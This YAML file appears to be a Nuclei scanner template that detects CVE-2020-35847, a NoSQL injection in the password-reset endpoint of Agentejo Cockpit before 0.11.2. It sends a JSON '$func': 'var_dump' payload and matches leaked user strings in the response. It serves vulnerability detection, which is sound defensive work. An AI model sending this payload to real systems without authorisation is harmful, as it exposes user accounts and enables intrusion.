id: CVE-2020-35847

info:
  name: Agentejo Cockpit <0.11.2 - NoSQL Injection
  author: dwisiswant0
  severity: critical
  description: |
    Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, potentially leading to unauthorized access, data manipulation, or denial of service.
  remediation: |
    Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/rce-cockpit-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35847
    - https://getcockpit.com/
    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35847
    cwe-id: CWE-89
    epss-score: 0.77399
    epss-percentile: 0.98139
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: agentejo
    product: cockpit
    shodan-query: http.favicon.hash:688609340
  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo

http:
  - raw:
      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "$func": "var_dump"
          }
        }
      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "$func": "nonexistent_function"
          }
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body_1
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'

      - type: regex
        part: body_1
        negative: true
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"'

      - type: regex
        part: body_2
        negative: true
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'
# digest: 4b0a00483046022100b22461d6f3fb20ee41694adc4d1a172d49954b2fd5e4ffe9b471b7245fc3ebe2022100cf54164abf938038a87d987cc754a82f7fb0325896c2bfe719cb9dd70c139aa1:922c64590222798bb761d5b6d8e72950